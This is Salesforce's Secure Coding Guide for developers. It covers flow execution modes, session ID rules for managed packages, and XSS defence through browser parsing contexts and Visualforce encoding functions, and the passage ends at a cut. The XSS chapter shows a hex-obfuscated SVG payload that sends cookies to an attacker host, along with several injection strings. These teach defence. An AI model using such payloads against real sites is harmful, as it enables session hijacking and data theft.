



Secure Coding Guide

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CHAPTER 1 Secure Coding Guidelines

This guide walks you through the most common security issues Salesforce has identified while auditing applications built on or integrated with the Lightning Platform.

This guide takes into account that many of our developers write integration pieces with the Lightning Platform and includes examples from other web platforms such as Java, ASP.NET, PHP and Ruby on Rails. The Lightning Platform provides full or partial protection against many of these issues. It is noted when this is the case.

Consider this to be an easy to read reference and not a thorough documentation of all web application security flaws. More details on a broader spectrum of web application security problems can be found on the [OWASP](#) (Open Web Application Security Project) site.

CHAPTER 2 Security Considerations for Flow Design

Plan for these considerations to securely design, implement, and manage flows.

Develop Flows Securely

Flows act like global classes and don't have any IP protections for flow code. Create flow code carefully, as any code on the subscriber org can invoke the flow in any context.

Use Subflows

Split the flows into subflows to modularise your flows and control the execution context of specific parts of the process. Using subflows allows a main flow to run in a User Mode while placing the privileged operations in subflows and running them in System Mode. For example, a flow that creates a new opportunity can run in User Mode, and the subflow that assigns ownership based on complex rules can run in System Mode with sharing enabled.

Dividing flows into privileged and unprivileged portions is recommended.

- Unprivileged portions run in User mode.
- Privileged portions run in System Mode and can be placed into subflows.


For example, for flows that insert leads, to avoid duplications in lead insertion, place the code that searches for all leads to detect duplicates in a privileged subflow, while the flow that inserts the leads runs in User Mode

Use an Appropriate Execution Context

Choosing the execution context of a flow helps in determining the context of any CRUD flow element.

- User Mode returns the records for which the user has permissions. CRUD/FLS rules are automatically applied.
- System Mode With Sharing returns the records that are shared with the user as the sharing rules are applied. CRUD/FLS rules aren't enforced in this mode.
- System Mode Without Sharing returns all records. This mode is only for specific use cases, such as guest user scenarios, where additional security validations are in place.

If no context is set, the default context is used. For flows invoked via UI, the default mode is User Mode. Any other flow runs in System Mode Without Sharing by default.

 **Note:** Explicitly setting the execution context is recommended. The execution context is determined by the advanced 'run in mode' settings that are controlled by the flow author and by how the flow is invoked. If invoked from an Apex class, the flow always runs in System Mode Without Sharing, irrespective of the flow settings. In any other case, the process follows the configured flow settings.

Use Apex for Custom Access Control Logic

Implement procedural access control policies in Apex. Passing control to Apex helps in implementing custom access action control logic as a number of utility functions to manage permissions are available, such as [usermode](#) and [striplnaccessible](#).

For details on how to implement procedural authorization checks for org users, see [Apex Security and Sharing](#). For Experience Cloud site users, especially guest users, go to [Guest User Record Access Development Best Practices](#) for examples of custom control.

Set User Mode for UI Flows

Screen flows must run in User Mode to ensure that the flow respects the user's permissions and follows the org security policies.

Validate Flow Inputs

Validate all variables marked as "available for inputs" in the same way as user input in any other code.

Handle Record-Triggered Flows

Record-triggered flows usually run in System Mode. These flows are typically used to perform data validation and clean-up operations. These recommendations help in efficiently managing record-triggered flows.

- Limit the functionalities performed in record-triggered flows.
- Ensure that the flows don't modify unrelated records in the triggered flows. If records that aren't related to the record triggering the flow are being modified, enforce user authorization control on the unrelated record.

Document Flow Functionality

Document flows to understand their functionalities better. As flows increase in number, it can become difficult to keep track of them. To help document flows, follow these guidelines.

- Use clear and informative names for flows and subflows.
- Use consistent naming conventions to identify the execution context, mode, and other details about the flow.

Implement Regular Reviews

To ensure that security standards are consistently followed, regularly review your flows and subflows, especially after changes or when new flows are deployed .

CHAPTER 3 Security Considerations for Session IDs


Improper handling of session IDs in managed packages can bypass namespace protections and pose security risks. Follow established guidelines to mitigate threats and ensure secure usage.

When a Salesforce admin installs a managed package, the package can access the admin's session ID to bypass namespace protections. This access allows the package to perform Setup actions, such as uninstalling other packages or changing organization-wide security settings. Because the admin isn't notified and no audit trail exists, these actions aren't traceable to the managed package. Addressing these risks is critical to maintaining trust in AppExchange, especially for regulated sectors such as financial services and government. To ensure secure use of session IDs, follow the Salesforce Security team guidelines.

Supported Session ID Use Cases

You can use session IDs for client-side code or server-side Apex in these scenarios:

- Standard UI XHR calls, such as CometD or AJAX Toolkit
- SOAP and REST Data API calls for accessing org data
- Metadata API read operations
- Metadata API write operations for metadata owned by the managed package. For example, updating field help text, picklist values for packaged custom fields, or custom layouts associated with partner-owned fields and objects.

 **Note:** Notify the Salesforce admin to use a session ID for write operations. When submitting a request to the Security team, include screenshots and code references with your documentation.

Prohibited Session ID Use Cases

Session IDs aren't allowed in these use cases.

- Exporting session IDs to third-party systems or external websites.
- Editing sensitive org-wide settings, for example, password policies, using the Metadata API or Tooling API.
- Creating or modifying named credentials, connected apps, or external client apps via the Metadata API or Tooling API.
- Enabling Send Session ID in Outbound Message Actions. See [Security Updates to the "Outbound Message with Session ID"](#).


Alternatives to Session IDs

Salesforce offers several secure alternatives to session IDs in managed packages.

- **JWT-Based External Client App (ECA):** Package a JWT-based ECA with your solution. Because JWT authentication doesn't require a callback URL, you can use a dummy URL. Store the private key

securely using protected custom metadata or protected custom settings. For implementation examples, see the [sample connected app code](#) and [sample ECA code](#).

- Subscriber-Provided ECA: Ask the Salesforce admin to create an ECA and provide the client key and client secret. Include a setup page in your package that explains the configuration steps, outlines the necessary changes, and clearly defines required OAuth scopes and permissions.
- Admin-Driven Manual Configuration: For sensitive changes, for example, IP allowlist entries, ask the Salesforce admin to make the changes manually. To maintain transparency and trust, don't automate security-sensitive tasks in the package.

 **Note:** All new implementations must use External Client Apps (ECA) with distribution set to Local. Existing implementations can continue using Connected Apps.

You can use one of the preceding alternatives for these use cases:

- Org-wide configuration changes, such as changes to Remote Site Settings.
- Modifying metadata not owned by the managed package.

To discuss your specific use case or other authentication options, contact the Security team during [Office Hours](#).

For additional guidance and best practices, refer:

- [External Client Apps](#)
- [Partner Third-Party Connections Recommended Security Settings](#)
- [Prepare for Connected App Usage Restrictions Change](#)
- [Protect Secrets Using Platform Features](#)
- [Connected App & External Client App Security Requirements for AppExchange](#)

CHAPTER 4 Secure Coding Cross Site Scripting

Cross-site scripting (XSS) is a prevalent security threat where attackers inject malicious scripts into web pages, potentially leading to data theft, session hijacking, and altered website content. This topic will cover how XSS attacks work and how to protect against them.

What is it?

Cross-site scripting is a vulnerability that occurs when an attacker can insert unauthorized JavaScript, VBScript, HTML, or other active content into a web page viewed by other users. A malicious script inserted into a page in this manner can hijack the user's session, submit unauthorized transactions as the user, steal confidential information, or simply deface the page. Cross-site scripting is one of the most serious and most common attacks against web applications today.

XSS allows malicious users to control the content and code on your site — something only you should be able to do!!

Sample vulnerability

Consider a web application with a search feature. The user sends their query as a GET parameter, and the page displays the parameter in the page:

Request: `https://example.com/api/search?q=apples`

Response: "You searched for apples"

For example, this could be done with the following Visualforce page:

```
<apex:page>
<!-- Vulnerable Page at https://example.com/api/search -->
  <div id='greet'></div>
  <script>
    document.querySelector('#greet').innerHTML='You searched for
<b>{!$CurrentPage.parameters.q}</b>';
  </script>
</apex:page>
```

An XSS attack could take place if the user were visiting another site that included the following code:

```
<html>
  <!-- Evil Page -->
  <body>
    <h1>Ten Ways to Pay Down Your Mortgage</h1>
    <iframe id='attack' style='visibility:hidden'>
      <script>
        var payload = "\x3csvg
onload=\x27document.location.href=\x22http://cybervillians.com?session=\x22+document.cookie\x27\x3e";

        document.querySelector('#attack').src =
"https://example.com/api/search?q=" +
```

```
        encodeURIComponent (payload) ;
    </script>
</body>
</html>
```

The user's browser will load the iframe by requesting
`https://example.com/api/search?q=<svg>`.

In response, example.com will echo back:

```
<html>
<!-- Response From Server -->
  <div id='greet'></div>
  <script>
    document.querySelector('#greet').innerHTML = 'You searched for
  <b>\x3csvg
onload=\x27document.location.href=\x22http://cybervillians.com?session=\x22+document.cookie\x27\x3e</b>';

  </script>
</html>
```

The victim's browser will parse this response and render the following example.com DOM:

```
<div id='greet'>
  You searched for
  <b>
    <svg
onload='document.location.href="http://cybervillians.com?session=" +
document.cookie'>
  </b>
</div>
```

Once the DOM is rendered, the browser will navigate the page to cybervillians.com and will also send the user's example.com cookies there. It will be as if example.com developers had written their page that way. However, there is essentially no limit to the payloads the attacker could have provided. Anything example.com developers can do with HTML and JavaScript, the attacker can also do.

Overview of browser parsing

Cross-site scripting occurs when browsers interpret attacker controller data as code, therefore an understanding of how browsers distinguish between data and code is required in order to develop your application securely.

User data can and often is processed by several different parsers in sequence, with different decoding and tokenization rules applied by each parser. The sample vulnerability highlights three parsing stages:

- Three Parsing Stages and Three Attacks

The merge-field `{!$CurrentPage.parameters.q}` is first passed to the HTML parser as it is processing the contents of a `<script>` tag. In this context, the parser is looking for the closing tag: `</script>` to determine the extent of the script data that should be passed to the Javascript engine.

```
<script>
  document.querySelector('#greet').innerHTML='You searched for
```

```
<b>{"!$currentPage.parameters.q}"</b>';  
</script>
```

If the attacker sets the URL parameter: `q=</script><script> ..attacker code here.. </script>`

The HTML parser determines the original script block has ended, and an attacker controlled script block would be sent as a second script to the Javascript engine.

Next, when the script block is sent to the Javascript parser, the attacker can try to break out of the Javascript string declaration:

```
document.querySelector('#greet').innerHTML='You searched for  
<b>{"!$currentPage.parameters.q}"</b>';
```

For example, by setting the URL parameter to be `q='; ...attacker code here..;/'`

Finally, the Javascript parser invokes an innerHTML write, passing a string back to the HTML parser for DOM rendering. Here the attacker can inject another payload containing an HTML tag with a javascript event handler. Because the string passed to innerHTML is defined in a Javascript context, the control characters do not need to be `<` or `>`, but can be represented as `'\x3x'` and `'\x3e'`. These will be interpreted by the Javascript engine as brackets to be written into the DOM. This is the original sample attack.

Therefore the sample code has three different parsing stages which allow for three different attacks, triggered by the insertion of three different control characters:

- `>` can be used to break out of the original script block
- `'` can be used to break out of the javascript string declaration
- `\x3c` or `\u003c` or `<` can be used to inject a new tag via innerHTML.

Other constructions have other parsing stages and potential attacks -- the list of potentially dangerous characters is dependent on the sequence of parsers applied to user data.

Rather than trying to learn all possible dangerous characters, the developer should learn to identify the sequence of browser parsing passes and apply the corresponding sequence of escaping functions. This will ensure that user data renders properly as text and cannot escape into an execution context.

- HTML Parsing and Encoding

When an HTML document is loaded or when javascript calls an html rendering function, the string is processed by the HTML Parser.

HTML tags follow the general structure:

```
<tagname attrib1 attrib2='attrib2val'  
attrib3="attrib3val">textvalue</tagname>
```

Only attribute values and the textvalue of a node are considered data for the HTML parser. All other tokens are considered markup.

There are two main mechanisms of injecting javascript into HTML:

```
<div>[userinput]</div> <!-- userinput = <script>alert(1)</script>  
-->  
<div>[userinput]</div> <!-- userinput = <svg onload='payload'> -->  
<div title='[userinput] '> <!-- userinput = ' onmouseover='payload'  
' -->
```

- Directly as a script tag or other HTML tag that supports a javascript event handler
- Breaking out of an html tag and creating another html tag that is a javascript event handler

Because of this, user input within an html context needs to be prevented from breaking out of a quoted context or from injecting html tags. This is done with HTML encoding.

HTML Encoding

In order to force a string character to be interpreted as data rather than markup, a [character reference](#) should be used. There are two common ways to denote a character reference:

- *numeric character references* represent the character by an ampersand (&), the pound sign (#) followed by either the decimal unicode point value, or an "x" and the hexadecimal unicode value. Finally, a semicolon (;) closes out the character reference. This allows every unicode character to be referenced.
- *entity character references* represent a subset of commonly used special characters by an ampersand (&) an ascii mnemonic for the character's name, and an (optional) closing semicolon.

HTML Encoding is the process of replacing characters by their character references and HTML decoding is the reverse.

```
<html>
  <body>
    <div id="link1">
      &lt;a href="www.salesforce.com">link</a> <!-- Not interpreted
as a tag but as text-->
    </div>
    <div id="link2">
      &#97; href="www.salesforce.com">link</a> <!-- Not interpreted
as an anchor tag -->
    </div>
    <div id="link3">
      <a &#104;ref="www.salesforce.com">link</a> <!-- link without
anchor-->
    </div>
    <div id="link4">
      <a
href="&#119;&#119;&#119;&#46;&#115;&#97;&#108;&#101;&#115;force.com">link</a>
      <!-- works fine. -->
    </div>
  </body>
</html>
```

The HTML parser generates the following DOM:

```
<body>
  <div id="link1">
    <a href="www.salesforce.com">link
  </div>
  <div id="link2">
    <a href="www.salesforce.com">link
  </div>
  <div id="link3">
    <a &#104;ref="www.salesforce.com">link</a>
  </div>
  <div id="link4">
```

```

    <a href="www.salesforce.com">link</a>
  </div>
</body>

```

which the browser renders as:

```

<a href="www.salesforce.com">link
<a href="www.salesforce.com">link
link
link

```

- For link1, because the bracket is replaced by its character reference, the less than sign is treated as a string literal. The closing tag is viewed as a redundant closing tag and is not rendered in the DOM at all.
- In link2, an escaped character immediately follows the opening tag, but the HTML Parser is expecting a tagname which is markup, as this is impossible the HTML parser bails on tag processing and interprets the opening tag as text. The closing tag is swallowed as in link1.
- In link3, the anchor tag is successfully parsed but as the "h" in "href" is escaped, the href is not interpreted as an attribute and the result is an anchor tag without an href, the link text appears but is not clickable.
- In link4, because a portion of an attribute value is encoded, the character references are decoded to "www.sales" in the DOM and the link is clickable, successfully navigating to www.salesforce.com

Therefore if developers html encode user data prior to HTML rendering, the data will always render as text and never as markup. In general, only a subset of characters are html encoded: those characters that can allow an attacker to inject their own tags or break out of a quoted attribute value:

Common Name	Symbol	Decimal Numeric	Hex Numeric	Entity
Ampersand	&	&	&	&
Less than Symbol	<	<	<	<
Greater than Symbol	>	>	>	>
Single Quote	'	'		N/A
Double Quote	"	"		"

When using unquoted attribute values or when failing to close tags other characters need to be escaped. However in this case the set of characters that would need to be escaped are browser dependent and may change with new browser versions. Developers should ensure that all HTML tags are balanced and that all attribute values are quoted. User data within an HTML context should only appear as the text content of an existing tag or within a quoted attribute value.

- HTML Parsing Contexts

The HTML parser operates in several contexts: the most important of which are normal, raw text, and escapable raw text contexts.

PCDATA or Normal Context Parsing

For most tags the PCDATA (in HTML 4), or normal (in HTML 5) parsing context applies. In this context the HTML parser tries to balance nested tags and performs HTML decoding prior to DOM rendering.

For example, the HTML parser converts:

```
<div id="alpha"><span class="</div>">in alpha.</span> Still in  
alpha</div>  
<div id="beta">in beta</span></div>
```

into the following DOM:

```
<div id="alpha">  
  <span class="</div>"in alpha.</span>  
  " Still in alpha"  
</div>  
<div id="beta">in beta</div>
```

For PC Data parsing, keep in mind that

- Because tags and attribute values are balanced, the parser will not allow a data within an attribute value to inject a new tag or close out an existing tag, as per the example above. The only way to escape a quoted attribute value is to close out the quote OR enter a CDATA context.
- All character references are decoded, and are therefore unsafe to be used as inputs into further HTML rendering contexts without applying an additional round of encoding.

Raw Text or CDATA Parsing

For <script> and <style> tags the CDATA (HTML 4) or [raw text](#) (HTML 5) context applies. In this mode, the parser searches for the closing script or style tag, and dispatches the contents of the string between these tags to the javascript or CSS parser. No HTML decoding occurs. This is because the HTML parser does not understand javascript or CSS; its parsing role is limited to determining the length of the string to pass to the JS or CSS parser.

The following code:

```
<html>  
  <head>  
    <meta charset="utf-8">  
    <title>JS Bin</title>  
  </head>  
  <body>  
  
    <script>  
      console.log('in alpha</script><script>console.log("not in  
alpha");</script>');  
    </script>  
  
  </body>  
</html>
```

Sends two scripts to the javascript engine, resulting in:

```
> SyntaxError: Unexpected token ILLEGAL  
> not in alpha
```

Another example:

```
<html>  
  <head>  
  </head>  
  <body>
```

```

<div id='xyz'
onclick='console.log("&#100;&#101;&#99;&#111;&#100;&#101;&#100;") '>Click
me!</div>
<div id='baa'>Click me!</div>
<div id='baz'>Click me!</div>

<script>
document.querySelector('#baa').onclick = function() {
    console.log("&#100;&#101;&#99;&#111;&#100;&#101;&#100;");

    return true;
}

document.querySelector('#baz').onclick = function() {
    console.log("Howdy!</script><script>alert(1)</script>");
    return true;
}
</script>
</body>
</html>

```

Clicking on the first div logs `decoded`, whereas clicking on the second logs `decoded` and clicking on the third div pops an alert box.

CDATA-style processing presents a number of potential pitfalls:

- Refactoring issues: If a developer first defines the event handler inline and then re-factors to register event handlers within a script tag, she will need to ensure that one fewer HTML-encode operation occurs, otherwise data will be over encoded. Similarly, a refactoring away from separate registration towards inline definition can lead to under-encoding. In both cases, the resulting page is broken, however alphanumeric characters will continue to render properly even as a "<" will be rendered as "<" or interpreted as markup in the over or under-encoding cases.
- JS string escapes: As per the example, if an attacker can inject brackets into a javascript string context, they may be able to break out of the string by breaking out of the parent script context entirely. This effectively makes brackets javascript control characters.
- Complex parsing rules with comments: The combination of html-style comment tags with `<script>` or `<style>` tags can lead to confusing or unexpected behavior. We will not detail these parsing rules here, but developers should not nest `<script>` tags within each other or place html comments `<!--` on the same line as `<script>` tags.

Escapable Raw Text Parsing

For `<textarea>` and `<title>` tags, [escapable raw text](#) parsing is used. Here the parser looks for the closing `<textarea>` or `<title>` tag and does not allow the creation of any new tags. Nevertheless, character references are decoded.

In this context keep the following in mind:

- Do not assume that user data cannot break out of this context -- data can break out by closing the title or textarea tag.
 - When using this context to store HTML micro templates, do not allow user input to write to this context without HTML encoding
- Javascript Parser

A Javascript Parser tokenizes javascript code for execution by the browser's javascript engine. Javascript code can generate new HTML code (e.g. `document.write()` `element.innerHTML=x`) and can also skip the HTML Parser and update the DOM directly (e.g. `document.createElement()`, `element.title=x`, `document.body.appendChild()`). Javascript code can also update element styles via the CSS Object Model (CSSOM).

Javascript has several encoding formats:

- C-style backslash `\` encoding of special terminal characters and string literals
- 2 byte hex encoding of the corresponding ASCII code point: `\xNN`
- 3 digit octal encoding of the corresponding code point `\NNN`
- 4 byte hex encoding of a 4 byte UTF-16 plane: `\uNNNN`. Surrogate pairs are handled by placing the 4 byte references next to each other `\uAAAA\uBBBB`

The following table shows the typical behavior of a javascript encoder:

Common Name	Symbol	Common JS Encoding
Single Quote	'	\'
Double Quote	"	\"
Backslash	\	\\
Carriage Return	N/A	\r
New Line	N/A	\n
Less than Symbol	<	\x3c
Greater than Symbol	>	\x3e

Javascript encoding is not nearly as powerful as HTML encoding. Object names (variables, functions, arrays) can be encoded in Javascript and still be callable, so merely encoding something does not mark it as data rather than code. Instead, Javascript encoding is used to prevent user data from breaking out of a quoted string context, by escaping the characters that would close out a string (single and double quotes, as well as new lines). Additionally, because of CDATA parsing, a closing script tag can also break out of a string (by breaking out of the enclosing script).

Note that if user controlled data is placed into a javascript context without being quoted, then nothing can prevent XSS. All user data in javascript should be quoted AND encoded.

Be aware that Javascript decoding occurs in Javascript when strings are evaluated as code such as with `eval`, `setInterval`, or `Function`, in which case you will need to additionally JS encode user data for each implicit eval performed. Because of this it is recommended that you do not apply evals on code containing user data.

Javascript can invoke the HTML parser by means of one of built in HTML rendering methods:

HTML Rendering Methods
<code>document.write</code>
<code>document.writeln</code>
<code>element.innerHTML</code>

HTML Rendering Methods

element.outerHTML

element.insertAdjacentHTML

If you are using jquery, the following are common DOM manipulation methods that invoke the HTML parser in their implementation. c.f. [Dom XSS Wiki](#)

Common jQuery HTML Rendering Methods

.add()

.append()

.before()

.after()

.html()

.prepend()

.replaceWith()

.wrap()

.wrapAll()

If you are using a different toolkit or higher order javascript framework, you will need to know whether the methods you call invoke the HTML decoder or not, otherwise you risk over or under-encoding data.

```
<html>
  <head>
    <script src='/jquery.js'>
  </head>
  <body>
    <div id='xyz'></div>
    <script>
      //payload
      var payload = "<svg onload='alert(1)'">";
      var html_encoded_payload = "&lt;svg
onload=&#39;alert(1)&#39;&gt;";

      // whether it is safe to pass the payload
      // to a DOM modification function depends
      // on whether the function invokes the HTML
      // parser.

      var el = document.querySelectorAll('#xyz');
      el.append = payload; //vulnerable
      el.append = html_encoded_payload; //safe and correct
      el.innerText = payload; //safe
      el.innerText = html_encoded_payload; //safe but double encoded
```

```

// When using a library such as jQuery
// Familiarize yourself with whether methods
// perform HTML rendering and encode appropriately

$('#xyz').append(payload); //vulnerable
$('#xyz').append(html_encoded_payload); //safe and correct
$('#xyz').text(payload); //safe
$('#xyz').text(html_encoded_payload); //safe but double
encoded
</script>
</body>
</html>

```

- URI Parser

The URI parser tokenizes URIs into the following components:

```

scheme://login.password@address:port/path?query_string#fragment

```

Control characters for the URI parser are the full ascii scheme name, scheme delimiter ":", ".", "?", "/", and "#". Data for the URI parser are the two credentials, the address, path, query string and fragment content.

In those cases when, for example a path needs to contain a question mark that should not be interpreted as a control character, then URI Encoding is used: %3f. URI encoding is defined in RFC 3986 and consists of a % sign followed by the two byte hexadecimal extended ascii number.

For security encoding, be aware that browsers support multiple pseudo-schemes, the most important of which is the javascript pseudo scheme: `javascript:..payload..`

If the scheme or scheme delimiter (:) is URI encoded, it will not be interpreted as a scheme. Similarly, if a "/" is URI encoded, it will not be interpreted as a path delimiter. Therefore URI encoding an a string and setting it to be an href will cause the browser to interpret the entire string as a relative path with no URL parameters and no fragments.

```

<html>
  <body>
    <a id='xyz'>Click me!</a>
    <script>
      var el = document.querySelector('#xyz');
      el.href='javascript:alert(1)' //executes
      el.href='javascript:\x61alert(1)' //js encode 'a' in alert.
executes
      el.href='javascript\x3aalert(1)' //js encode ':' in scheme.
executes.
      el.href='javascript%3aalert(1)' //URI encode ':' in scheme.
does not execute
      el.href="javascript&#x3a;alert(1)"; //does not execute
      el.outerHTML = '\x3ca
href=\x22javascript&#x3a;alert(1)\x22\x3eClick me!\x3c/a\x3e';
//executes
    </script>
  </body>
</html>

```

Because URI encoding maps characters to %XX, which are not HTML, JS, or CSS control characters, we can skip any additional encodings that would need to occur after URI encoding, but we cannot skip encodings that are required before URI encoding:

```
<html>
  <body>
    <!-- Vulnerable to XSS -->
    <a id='xyz'>Click me!</a>
    <a id='abc'>Click me!</a>

    <script>
      var xyz = document.querySelector('#xyz');
      var payload = "javascript:alert(1)";

      xyz.href="javascript:\x22this.element.innerHTML=\x22" +
payload + "\x22"; //vulnerable
    </script>
  </body>
</html>
```

In the above, payload will be sent to a URI parser (in the href definition) and then to the HTML parser. Therefore to properly encode the payload requires both decodings: `URIENCODE(HTMLENCODE(payload))`.

If, for example, the payload is only HTMLENCODED, then %3c will be URI decoded into a bracket. If the payload is only URIENCODED, then a payload of "<" can be injected directly.

As URI Encoding is only defined on ASCII codes 0-255, when higher order code points need to be encoded, they are first transformed into a sequence of UTF-8 bytes and then each byte is URI Encoded.

Be aware that javascript contains three built in URI encoding and decoding functions, none of which are suitable for security encoding:

- `escape()`, `unescape()` have been deprecated because of improper UTF-8 handling.
- `encodeURI()` and `decodeURI()` are designed to allow URIs with some illegal characters to be converted to legal URIs. These functions do not encode URI control characters such as `"/`" or `"`.
- `encodeURIComponent()` and `decodeURIComponent()` are designed to encode all URI control characters but do not encode all characters such as the single quote.

For guidance as to which functions to use, see the specific section guidance.

- CSS Parser

CSS parsers have their own [encoding format](#) as specified in ISO 10646. CSS encoding consists of a backslash followed by up to 6 hexadecimal digits corresponding to the unicode code point. As the number of digits is variable, a trailing space is required to close out the character reference if less than 6 digits are used, and in this case the space is consumed by the CSS parser.

As with Javascript encoding, merely encoding a string does not force the CSS parser to treat it as data rather than markup -- the encoding is only useful to prevent user data from breaking out of a quoted string declaration. Unfortunately, many CSS property values are not quoted, in which case it is impossible to safely encode the value. In this case, strict use of an allowlist (which provides a list of allowed values and prevents the use of anything unlisted) is required to ensure that only the expected characters are present in the string.

There are several ways that the CSS parser can invoke the URI parser (for example by referencing an image URL or a style sheet URL), but invocation of javascript from CSS is limited to browser specific features such as moz-bindings or older browser features (such as expression or javascript pseudo-schemes). Nevertheless, as Salesforce supports these older browsers, it's critical to use an allowlist—a list of all acceptable values—on user data whenever it is passed to the CSS interpreter.

When CSS is invoked from javascript, for example with `element.style="x"`, it is first interpreted by the javascript parser and then by the CSS parser. In such cases, javascript control characters should be escaped. If they aren't, they could be used to bypass the allowlist filter. For this reason, filtering against the allowlist should be done as close to the sink as possible.

General References

- [Coverity Static Analysis](#)
- [OWASP XSS Portal](#)
- [HTML5 Security Cheat Sheet](#)
- [OWASP XSS Test Guide](#)
- [Browser Internals and Parsing](#)
- [Browser Security Handbook](#)
- [Browser Parsing and XSS review of different frameworks](#)

Specific Guidance

Apex and Visualforce Applications

The platform provides two main mechanisms to avoid cross site scripting: auto HTML encoding as well as built in encoding functions that can be invoked manually from VisualForce. Nevertheless in order to use these protections correctly, the developer needs to have a thorough understanding of how user controlled variables are rendered by the browser.

There is no 'easy' button with cross site scripting defenses. Developers must understand the sequence of rendering contexts into which they place user data, and encode appropriately for each context.

Built in Auto Encoding

All merge-fields are always auto HTML encoded provided they

- do not occur within a `<style>` or `<script>` tag
- do not occur within an apex tag with the `escape='false'` attribute

The auto HTML encoding performed is applied last (after any other VisualForce functions) and is applied regardless of whether you use any other VisualForce encoding functions. It does not matter whether the merge-field is rendered via an explicit apex tag or directly using the braces notation within HTML markup. Your application code needs to take auto-encoding into account in order to avoid double encoding or improperly encoding merge-fields.

For example, the value of the `userInput` parameter will be HTML encoded in the following:

```
<apex:outputText>
  {!$currentPage.parameters.userInput} <!-- safe (auto HTML Encoded)
```

```
-->
</apex:outputText>
```

or here

```
<div>
  {!$CurrentPage.parameters.userInput} <!--safe (auto HTML Encoded)
-->
</div>
```

But no auto-encoding is performed here because of the script tag:

```
<script>
  var x = '{!$CurrentPage.parameters.userInput}'; //vulnerable to XSS
</script>
```

And no auto-encoding is performed here because of the style tag:

```
<style>
  .xyz {
    color: #{!$CurrentPage.parameters.userInput}; //vulnerable to XSS
  }
</style>
```

The auto encoding only provides HTML Encoding of <, > and quotes within html attributes. You must perform your own Javascript and URL encoding as well as handle CSS cross site scripting issues.

Auto-HTML encoding is not sufficient when passing through multiple parsing contexts:

```
<!--vulnerable to XSS -->
<div onclick =
"console.log('{!$CurrentPage.parameters.userInput}')">Click me!</div>
```

In the above code fragment, *userInput* is rendered with a Javascript execution context embedded with an HTML context, and so the auto-HTML encoding is insufficient. For these and other uses cases, the platform provides VisualForce encoding functions that can be chained together to provide sufficient encoding in multiple contexts.

Unsafe sObject Data Types

sObjects can be built from a number of primitive data types. When rendering a merge-field or retrieving a field via the API, it's important to understand whether the field contains potentially unsafe or safe content. The following primitive data types can contain unsafe strings:

Primitive Type	Restrictions on Values
url	Can contain arbitrary text. The platform will prepend the url with 'http://' if no scheme is provided.
picklist	Can contain arbitrary text, independent of the field definition. Picklist values are not enforced by the schema, and users can modify a picklist value to contain any text via an update call.
text	Can contain arbitrary text
textarea	Can contain arbitrary text

Primitive Type	Restrictions on Values
rich text field	Contains an allowlist of HTML tags. Any other HTML characters must be HTML-encoded. The listed tags can be safely used unencoded in an HTML rendering context but not in any other rendering context (e.g. javascript control characters are not encoded).

Name fields can be arbitrary text, and must be considered unsafe. This also applies to global variables such as usernames.

Developers are urged to program defensively. Even if a primitive type (such as an Id) cannot contain control characters, properly output encode the field type based on the rendering context. Output encoding will never result in over encoding and will make your application safe for further refactoring should the controller logic change -- for example, by pulling the Id from a URL parameter rather than from the controller.

Built in VisualForce encoding functions

The platform provides the following VisualForce encoding functions:

- JSENCODE -- performs string encoding within a Javascript String context.
- HTMLENCODE -- encodes all characters with the appropriate HTML character references so as to avoid interpretation of characters as markup.
- URLENCODE -- performs URI encoding (% style encoding) within a URL component context.
- JSINHTMLENCODE -- a convenience method that is equivalent to the composition of HTMLENCODE(JSENCODE(x))

Data may need to be encoded multiple times if it passes through multiple parsers.

JSENCODE

JSENCODE is used to prevent user data from breaking out of a quoted string context:

```
<script>
  var x = '{!JSENCODE($CurrentPage.parameters.userInput)}'; //safe
</script>
```

If the data was not quoted, the user could insert their own code directly into the script tag. If the user was quoted but not JSENCODED, an attacker could break out of the quotes by including a single quote in the URL parameter:

```
userInput='; alert(1); //
```

at which point the attacker's code would execute.

In the following example, a merge-field first passes through the HTML parser (when the page is loaded) and then is passed to the JS parser (as the definition of an event handler).

```
<!-- safe -->
<div onclick =
"console.log('{!JSENCODE($CurrentPage.parameters.userInput)}')">Click
me!</div>
```

Because the parsing flow is HTML Parser -> JS Parser, the mergefield must be properly encoded as: HTMLENCODE(JSENCODE(x)). As we know that the platform will HTML auto-encode last, it is enough to explicitly invoke the inner encoding, JSENCODE.

What is the merge-field is not typed as a string? One option is to leave the merge-field naked. However this is a dangerous anti-pattern because it creates a dependency between the implementation details in the controller and the security of the visualforce page. Suppose, for example, that in the future, the controller pulls this value from a URL parameter or textfield. Now the visualforce page is vulnerable to cross site scripting. The security of the visualforce page should be decoupled as much as possible from the controller implementation.

Therefore we recommend defensive programming -- cast to the appropriate type explicitly using the built in constructors:

```
<script>
    var myint = parseInt("{!JSENCODE(int_data)}"); //now we are sure
that x is an int
    var myfloat = parseFloat("{!JSENCODE(float_data)}"); //now we are
sure that y is a float
    var mybool = {!IF(bool_data, "true", "false")}; //now we are sure
that mybool is a boolean
    var myJSON = JSON.parse("{!JSENCODE(stringified_value)}"); //when
transmitting stringified JSON
</script>
```

This way a subtle change in the controller implementation (for example, pulling the value from a URL parameter or text field) will not trigger a security vulnerability in the corresponding VisualForce page.

HTMLENCODE

HTMLENCODE is required when userdata is interpreted in an HTML Context and is not already auto-encoded.

For example:

```
<apex:outputText escape="false" value="<i>Hello
{!HTMLENCODE(Account.Name)}</i>" />
```

In the above, because Name fields can be arbitrary text strings, any rendering of this field needs to be properly output encoded. Because we want to combine markup (italics) with data, the apex tag is set to escape="false" and we manually encode user data.

As always, one layer of encoding needs to be applied for each layer of parsing:

```
<div id="xyz"></div>
<script>
    document.querySelector('#xyz').innerHTML='Howdy ' +
' {!JSENCODE(HTMLENCODE(Account.Name)) }';
</script>
```

In the above, the merge-field first passes through the HTML Parser when the page is loaded, but because the merge-field is within a script tag, the HTML parser does not perform character reference substitution and instead passes the contents of the script block to the javascript parser. Javascript code then calls innerHTML which performs HTML parsing (and character reference substitution). Therefore the parsing is Javascript -> HTML, and the necessary encoding is JSENCODE(HTMLENCODE()). Note that only performing JSENCODE or only performing HTMLENCODE will lead to a broken page and possibly a cross site scripting vulnerability.

Consider the following example:

```
<!-- vulnerable to XSS -->
<div onclick="this.innerHTML='Howdy {!Account.Name} '">Click me!</div>
```

Here, the merge-field is sent through the HTML parser when the page is loaded. Because it is not in a script or style tag, character reference substitution occurs, and the result is then sent to the Javascript decoder (in the definition of the onclick event handler). Once clicked, the result will be sent back to the HTML parser for innerHTML rendering. Therefore there are three layers of decoding: HTML -> Javascript -> HTML, and as a result, three layers of encoding need to be applied. However HTML auto encoding will be automatically applied at the outer layer, so the developer needs to only apply `JSENCODE(HTMLENCODE())`:

```
<!-- safe -->
